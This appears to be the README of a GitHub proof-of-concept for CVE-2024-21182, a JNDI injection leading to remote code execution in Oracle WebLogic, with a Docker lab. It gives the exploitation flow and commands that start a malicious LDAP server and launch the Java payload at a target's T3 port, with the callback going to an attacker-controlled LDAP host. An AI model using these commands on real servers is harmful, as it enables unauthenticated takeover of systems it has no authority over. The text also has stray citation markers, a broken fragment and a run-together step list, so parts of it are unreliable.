fevar54/cve-2024-21182---oracle-weblogic-server-jndi-injection-rceProof-of-concept exploit for CVE-2024-21182, an unauthenticated JNDI injection leading to remote code execution in Oracle WebLogic Server via T3/IIOP protocols. Includes a Docker lab for testing.
CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE
-orange){kind=icon}
CVE-2024-21182 is an unauthenticated JNDI injection vulnerability affecting the Core component of Oracle WebLogic Server. It allows a remote attacker, via T3 or IIOP protocols, to execute arbitrary code (RCE) on the server, potentially gaining full access to all server data[citation:5][citation:8][citation:9].
This repository contains a functional Proof of Concept (PoC) that demonstrates successful exploitation of the CVE-2023-21839 patch via the gadget chain AggregatableOpaqueReference + MessageDestinationReference[citation:2][citation:4].
| Attribute | Value |
|---|---|
| CVE | CVE-2024-21182 |
| Product | Oracle WebLogic Server (Core) |
| Affected versions | 12.2.1.4.0 and 14.1.1.0.0[citation:7] |
| Available patch | Oracle Critical Patch Update (July 2024 and October 2024)[citation:6] |
| CISA KEV Status | Active exploitation confirmed (added on 01/06/2026)[citation:3][citation:8] |
| CISA Mitigation Deadline | 04/06/2026[citation:8] |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Phase 1: Reconnaissance: Identify WebLogic servers with exposed T3/IIOP ports (7001).
Phase 2: Analysis: Determine if the server runs a vulnerable version (12.2.1.4.0 or 14.1.1.0.0) or lacks the October 2024 patch.
Phase 3: Exploitation (technical flow):
AggregatableOpaqueReference object[citation:2].referent of the previous object is modified to point to a malicious MessageDestinationReference[citation:4].wlthint3client.jar (can be extracted from a WebLogic installation).# 1. Clone the repository
git clone https://github.com/tu-usuario/CVE-2024-21182.git
cd CVE-2024-21182
# 2. Start the lab (victim + attacker)
docker-compose up -d
# 3. Run the automatic exploitation
./validate.sh
# 1. Start the malicious LDAP/HTTP server
python3 exploit/ldap_server.py
# 2. In another terminal, execute the Java payload
javac -cp ".:wlthint3client.jar" poc/CVE_2024_21182.java
java -cp ".:wlthint3client.jar" CVE_2024_21182 t3://<TARGET_IP>:7001 ldap://<ATTACKER_IP>:1389/Evil
Current status according to CISA: "Known To Be Used in Ransomware Campaigns? Unknown" (But typically yes, RCE in middleware is an initial vector in ransomware intrusions).
This code is for educational and research purposes only. Misuse of this PoC against systems without express authorization is illegal. The author is not responsible for any misuse of this information.